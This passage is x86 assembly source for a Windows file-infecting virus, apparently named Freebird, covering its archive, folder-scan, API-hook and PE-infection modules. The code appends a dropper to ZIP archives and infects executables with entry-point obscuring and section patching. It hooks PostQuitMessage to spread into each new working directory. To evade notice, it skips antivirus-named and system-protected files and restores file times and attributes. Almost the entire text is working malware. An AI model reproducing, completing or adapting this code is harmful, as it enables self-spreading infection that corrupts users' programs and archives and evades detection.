esi,[eax+10h] ; start of dir mov edi,[mapMem+ebp] add edi,[fileSize+ebp] sub edi,ecx ; new address add edi,ecx ; we must copy it add esi,ecx ; reversed ; move the central dir dec esi dec edi moveCentralDir: lodsb sub esi,2 stosb sub edi,2 dec ecx jnz moveCentralDir mov eax,[mapMem+ebp] ; new addres of the add eax,[fileSize+ebp] ; header sub eax,16h ; now add our central entry mov edi,[mapMem+ebp] mov edx,[ZIPSize+ebp] add edx,CentralHeader-LocalHeader add [eax+10h],edx ; fix offset add edi,[eax+10h] lea esi,[CentralHeader+ebp] mov ecx,EndOfCentral-CentralHeader rep movsb ; add our central entry mov esi,edi ; 1st non viral entry mov ecx,EndOfCentral-CentralHeader add [eax+0ch],ecx ; fix size inc word [eax+0ah] ; one more entry inc word [eax+08h] ; once again ; now fix the directories offsets movzx ecx,word [eax+0ah] ; num of entries dec ecx ; skip viral one mov ebx,[ZIPSize+ebp] add ebx,CentralHeader-LocalHeader ; increase len fixZIPDirLoop: add [esi+2ah],ebx ; fix offset mov edx,2eh add dx,[esi+1ch] add dx,[esi+1eh] add dx,[esi+20h] ; dir total size add esi,edx loop fixZIPDirLoop ; now process local entries mov ebx,[ZIPSize+ebp] add ebx,CentralHeader-LocalHeader mov ecx,[eax+10h] ; offs central = local len sub ecx,ebx mov esi,[mapMem+ebp] ; 1st local mov edi,esi add edi,ebx ; new local place add esi,ecx ; goto end to move from add edi,ecx ; bottom to top ; move local entries to its new place dec esi dec edi moveLocalZIP: lodsb sub esi,2 stosb sub edi,2 dec ecx jnz moveLocalZIP mov edi,[mapMem+ebp] lea esi,[LocalHeader+ebp] mov ecx,CentralHeader-LocalHeader rep movsb ; copy our local header mov ecx,[ZIPSize+ebp] mov esi,[wideBuffer+ebp] rep movsb ; and copy the dropper push dword [wideBuffer+ebp] call dword [_UnmapViewOfFile+ebp] push dword [wideBuffer+4+ebp] call dword [_CloseHandle+ebp] push dword [wideBuffer+8+ebp] call dword [_CloseHandle+ebp] ; dropper released infectionErrorCloseUnmapZIP: push dword [mapMem+ebp] call dword [_UnmapViewOfFile+ebp] infectionErrorCloseMapZIP: push dword [fhmap+ebp] call dword [_CloseHandle+ebp] lea eax,[fileTime2+ebp] push eax add eax,-8 push eax add eax,-8 push eax push dword [fHnd+ebp] call dword [_SetFileTime+ebp] infectionErrorCloseZIP: push dword [fHnd+ebp] call dword [_CloseHandle+ebp] infectionErrorAttribZIP: pop esi push dword [fileAttrib+ebp] push esi call dword [_SetFileAttributesA+ebp] infectionErrorZIP: ret ; - archive.inc EOF - ; - findf.inc BOF - ; ; Simply scan current folder for files to infect ; scandirpe: lea eax,[finddata+ebp] push eax lea eax,[fmask+ebp] push eax call dword [_FindFirstFileA+ebp] inc eax jz near notFound dec eax mov dword [findHnd+ebp],eax findNext: mov eax,dword [nFileSizeLow+ebp] ; avoid small files cmp eax,4000h jb near skipThisFile mov ecx,PADDING ; avoid already xor edx,edx ; infected files div ecx or edx,edx jz near skipThisFile lea esi,[cFileName+ebp] call isAV jc near skipThisFile mov eax,[_SfcIsFileProtected+ebp] ; we have sfc? or eax,eax jz near sfcNotAvailable ; hehe i've noticed SfcIsFileProtected requires ; a wide string not the ansi one... shit ; moreover sfc only manages full path names :/ ; i'm glad with win2000 to test all this things =] push dword 260 ; 260 wide chars lea edi,[wideBuffer+ebp] push edi ; wide buffer xor eax,eax dec eax push eax ; -1 (zstring) push esi ; ANSI inc eax push eax ; 0 push eax ; CP_ACP == 0 call dword [_MultiByteToWideChar+ebp] or eax,eax jz skipThisFile ; damn lea esi,[dummy+ebp] push esi lea esi,[wideBuffer2+ebp] push esi push dword 260 lea esi,[wideBuffer+ebp] push esi call dword [_GetFullPathNameW+ebp] or eax,eax jz skipThisFile ; damn (2) lea esi,[wideBuffer2+ebp] push esi push dword 0 call dword [_SfcIsFileProtected+ebp] ; check this file or eax,eax jnz skipThisFile sfcNotAvailable: lea esi,[cFileName+ebp] call infectpe skipThisFile: lea eax,[finddata+ebp] push eax push dword [findHnd+ebp] call dword [_FindNextFileA+ebp] or eax,eax jnz near findNext endScan: push dword [findHnd+ebp] call dword [_FindClose+ebp] notFound: ret ; make the ASCII string uppercase and look for some stringz usual in ; antiviral software to avoid infect them isAV: push esi UCaseLoop: cmp byte [esi],'a' jb notUCase cmp byte [esi],'z' ja notUCase sub byte [esi],'a'-'A' notUCase: lodsb or al,al jnz UCaseLoop mov esi,[esp] avStrLoop: mov ax,word [esi] not ax cmp ax,~'AV' je itIsAV cmp ax,~'DR' je itIsAV cmp ax,~'SP' je itIsAV cmp ax,~'F-' je itIsAV cmp ax,~'AN' je itIsAV cmp ax,~'VE' je itIsAV cmp ax,~'CL' je itIsAV cmp ax,~'ON' je itIsAV not ax inc esi or ah,ah jnz avStrLoop clc mov al,0f9h itIsAV equ $-1 pop esi ret ; - findf.inc EOF - ; - hooks.inc BOF - hookmtx dd 0 ; mutex for multi-threading calls hookDll db "USER32",0 hookFc1 db "PostQuitMessage",0 ; ; Just check for directory changes and infect then all files there. ; setupPerProcess: lea eax,[hookDll+ebp] push eax call dword [_LoadLibraryA+ebp] or eax,eax jz failedToHook lea esi,[hookFc1+ebp] push esi push eax call dword [_GetProcAddress+ebp] mov ecx,eax mov [PostQuitMessageHA+ebp],eax lea esi,[PostQuitMessageH+ebp] call APIHook xor eax,eax mov [hookmtx+ebp],eax ; hook ready failedToHook: ret ; ; the hook ; PostQuitMessageH: push dword 12345678h PostQuitMessageHA equ $-4 pushad ; save all pushfd call getDelta mov eax,[hookmtx+ebp] ; ready to infect? or eax,eax jnz hookFailed inc dword [hookmtx+ebp] ; do not disturb ; path0 has current work directory lea esi,[path1+ebp] push esi push dword 260 call dword [_GetCurrentDirectoryA+ebp] or eax,eax jz endHook mov ecx,eax ; if we're still into lea esi,[path0+ebp] ; the same folder, avoid lea edi,[path1+ebp] ; infect more files rep cmpsb je endHook mov ecx,eax ; update folder lea esi,[path1+ebp] lea edi,[path0+ebp] rep movsb call scandirpe ; infect new work ; folder call findArchives endHook: dec dword [hookmtx+ebp] ; ready again hookFailed: popfd popad ret ; ; My nice (and old) API hook routine. ; APIHook: push esi mov edx,[baseAddr+ebp] ; remember to fix it after ; (probably) reloc! mov edi,edx add edi,[edx+3ch] ; begin PE header mov edi,[edi+80h] ; RVA import or edi,edi ; uh? no imports??? :) jz near _skipHookErr add edi,edx ; add base addr _searchusrImp: mov esi,[edi+0ch] ; get name or esi,esi ; check is not last jz _skipHookErr add esi,edx ; add base addr mov ebx,[esi] or ebx,20202020h cmp ebx,"user" ; look for module jne _nextName mov bx,[esi+4] cmp bx,"32" ; module found je _usrImpFound _nextName: ; if not found check add edi,14h ; name of next import mov esi,[edi] ; module or esi,esi jz _skipHookErr jmp _searchusrImp _usrImpFound: ; now we have user32 mov esi,[edi+10h] ; get address table or esi,esi ; heh jz _skipHookErr add esi,edx ; add base addr again mov edi,ecx ; search for API _nextImp: lodsd ; get addrs or eax,eax ; chek is not last jz _skipHookErr cmp eax,edi ; cmp with API addr je _doHook ; found? hook! jmp _nextImp ; check next in table _doHook: sub esi,4 push esi ; save import addr call dword [_GetCurrentProcess+ebp] pop esi pop edx mov [fileSize+ebp],edx ; tmp storage lea edi,[padding+ebp] push edi ; shit push dword 4 lea edi,[fileSize+ebp] push edi ; bytes to write push esi ; where to write push eax ; current process call dword [_WriteProcessMemory+ebp] _skipHook: ret _skipHookErr: pop esi xor eax,eax ret ; - hooks.inc EOF - ; - infectpe.inc BOF - ; pretty standard padding value, the idea is several viruses use the ; same value to avoid av can use easy ways to manage them PADDING equ 101 infectpe: push esi push esi call dword [_GetFileAttributesA+ebp] pop esi inc eax jz near infectionError dec eax mov dword [fileAttrib+ebp],eax push esi push dword 80h push esi call dword [_SetFileAttributesA+ebp] pop esi or eax,eax jz near infectionError push esi xor eax,eax push eax push dword 80h push dword 3 push eax push eax push dword (80000000h | 40000000h) push esi call dword [_CreateFileA+ebp] inc eax jz near infectionErrorAttrib dec eax mov [fHnd+ebp],eax push dword 0 push eax call dword [_GetFileSize+ebp] inc eax jz near infectionErrorClose dec eax mov [fileSize+ebp],eax lea eax,[fileTime2+ebp] push eax add eax,-8 push eax add eax,-8 push eax push dword [fHnd+ebp] call dword [_GetFileTime+ebp] or eax,eax jz near infectionErrorClose xor eax,eax push eax push eax push eax push dword 4 push eax push dword [fHnd+ebp] call dword [_CreateFileMappingA+ebp] or eax,eax jz near infectionErrorClose mov dword [fhmap+ebp],eax xor eax,eax push eax push eax push eax push dword 6 push dword [fhmap+ebp] call dword [_MapViewOfFile+ebp] or eax,eax jz near infectionErrorCloseMap mov [mapMem+ebp],eax mov edi,eax cmp word [edi],'MZ' jne near infectionErrorCloseUnmap add edi,[edi+3ch] cmp eax,edi jae near infectionErrorCloseUnmap add eax,[fileSize+ebp] cmp eax,edi jbe near infectionErrorCloseUnmap cmp word [edi],'PE' jne near infectionErrorCloseUnmap movzx edx,word [edi+16h] test edx,2h jz near infectionErrorCloseUnmap test edx,2000h jnz near infectionErrorCloseUnmap mov dx,[edi+5ch] dec edx jz near infectionErrorCloseUnmap mov esi,edi mov eax,18h add ax,[edi+14h] add edi,eax mov cx,[esi+06h] dec cx mov eax,28h mul cx add edi,eax mov eax,dword [esi+80h] ; 1st we need just one or eax,eax ; import from k32 jz near infectionErrorCloseUnmap call rva2raw jc near infectionErrorCloseUnmap add eax,[mapMem+ebp] xchg eax,edx k32imploop: mov eax,dword [edx+0ch] or eax,eax jz near infectionErrorCloseUnmap call rva2raw jc near infectionErrorCloseUnmap add eax,[mapMem+ebp] mov ebx,dword [eax] or ebx,20202020h cmp ebx,'kern' jne nextImpMod mov ebx,dword [eax+4] or ebx,00002020h cmp ebx,'el32' je k32ImpFound nextImpMod: add edx,14h mov eax,dword [edx] or eax,eax jz near infectionErrorCloseUnmap jmp k32imploop k32ImpFound: mov eax,[edx+10h] or eax,eax jz near infectionErrorCloseUnmap mov edx,eax call rva2raw jc near infectionErrorCloseUnmap add eax,[mapMem+ebp] mov eax,[eax] or eax,eax jz near infectionErrorCloseUnmap add edx,[esi+34h] mov [__imp__+ebp],edx ; we got 1st import ; that will be used to ; get k32 addr in run-time mov eax,[edi+14h] add eax,[edi+10h] mov [virusBeginRaw+ebp],eax mov eax,[edi+0ch] ; sect rva add eax,[edi+10h] ; sect raw size mov [relocTMP+ebp],eax mov ecx,[esi+34h] mov [baseAddr+ebp],ecx add [relocTMP+ebp],ecx mov eax,[esi+28h] mov [hostEPTMP+ebp],eax ; reloc and EP ok, now EPO call rva2raw jc near infectionErrorCloseUnmap add eax,[mapMem+ebp] ; we look for... ; ; mov [fs:00000000],esp ; or... ; ; mov esp,ebp ; pop ebp ; ret ; db ffh,ffh,ffh,ffh ; or db 00h,00h,00h,00h ; ; and that's ok. ; push eax mov ecx,200h checkNextAddr: inc eax cmp dword [eax],00258964h jne addrNotFound0 cmp dword [eax+3],00000000h je addrFound addrNotFound0: cmp dword [eax],0c35de58bh jne addrNotFound1 cmp dword [eax+4],-1 je addrFound cmp dword [eax+4],0 je addrFound addrNotFound1: dec ecx jnz checkNextAddr pop eax push eax addrFound: pop edx sub eax,edx mov edx,eax add edx,[esi+34h] add eax,[hostEPTMP+ebp] add [hostEPTMP+ebp],edx call rva2raw jc near infectionErrorCloseUnmap add eax,[mapMem+ebp] push esi push edi mov esi,eax push esi lea edi,[epobuffTMP+ebp] mov ecx,5 rep movsb pop edi mov al,0e9h stosb mov eax,[relocTMP+ebp] sub eax,[hostEPTMP+ebp] sub eax,5 stosd pop edi pop esi xor eax,eax mov [esi+58h],eax or dword [edi+24h],0c0000000h and dword [edi+24h],~(02000000h | 10000000h) mov eax,vSize add eax,[edi+10h] ; raw size xor edx,edx mov ecx,[esi+3ch] div ecx inc eax xor edx,edx mul ecx mov [edi+10h],eax ; size of raw data mov eax,viSize add eax,[edi+10h] ; virt size xor edx,edx mov ecx,[esi+38h] div ecx inc eax xor edx,edx mul ecx mov [edi+08h],eax ; size of virt data add eax,[edi+0ch] mov [esi+50h],eax ; size of image mov eax,[edi+10h] ; calc file size add eax,[edi+14h] ; with padding mov ecx,PADDING xor edx,edx div ecx inc eax xor edx,edx mul ecx mov [padding+ebp],eax push dword [mapMem+ebp] call dword [_UnmapViewOfFile+ebp] push dword [fhmap+ebp] call dword [_CloseHandle+ebp] xor eax,eax push eax push dword [padding+ebp] push eax push dword 4 push eax push dword [fHnd+ebp] call dword [_CreateFileMappingA+ebp] or eax,eax jz near infectionErrorClose mov [fhmap+ebp],eax xor eax,eax push dword [padding+ebp] push eax push eax push dword 6 push dword [fhmap+ebp] call dword [_MapViewOfFile+ebp] or eax,eax jz near infectionErrorCloseMap mov [mapMem+ebp],eax pushad lea esi,[vBegin+ebp] mov edi,vSize-4 call CRC32 mov [myCRC32+ebp],eax popad mov ecx,vSize lea esi,[vBegin+ebp] mov edi,12345678h virusBeginRaw equ $-4 add edi,eax rep movsb mov eax,dword [_CheckSumMappedFile+ebp] or eax,eax jz infectionErrorCloseUnmap lea esi,[chksum+ebp] push esi sub esi,-4 push esi push dword [padding+ebp] push dword [mapMem+ebp] call eax or eax,eax jz infectionErrorCloseUnmap mov edx,dword [chksum+ebp] mov dword [eax+58h],edx infectionErrorCloseUnmap: push dword [mapMem+ebp] call dword [_UnmapViewOfFile+ebp] infectionErrorCloseMap: push dword [fhmap+ebp] call dword [_CloseHandle+ebp] lea eax,[fileTime2+ebp] push eax add eax,-8 push eax add eax,-8 push eax push dword [fHnd+ebp] call dword [_SetFileTime+ebp] infectionErrorClose: push dword [fHnd+ebp] call dword [_CloseHandle+ebp] infectionErrorAttrib: pop esi push dword [fileAttrib+ebp] push esi call dword [_SetFileAttributesA+ebp] infectionError: ret ; ESI: PE header EAX: rva shit ; out EAX: raw rva2raw: push eax pushad mov edx,esi mov ecx,edx mov esi,eax mov eax,18h add ax,[edx+14h] add edx,eax movzx ecx,word [ecx+06h] xor ebp,ebp rva2rawLoop: mov edi,[edx+ebp+0ch] add edi,[edx+ebp+8] cmp esi,edi jb foundDamnSect nextSectPlz: add ebp,28h loop rva2rawLoop popad pop eax stc ret foundDamnSect: sub esi,[edx+ebp+0ch] add esi,[edx+ebp+14h] mov dword [esp+20h],esi popad pop eax clc ret ; - infectpe.inc EOF - ; END OF FREEBIRD.TXT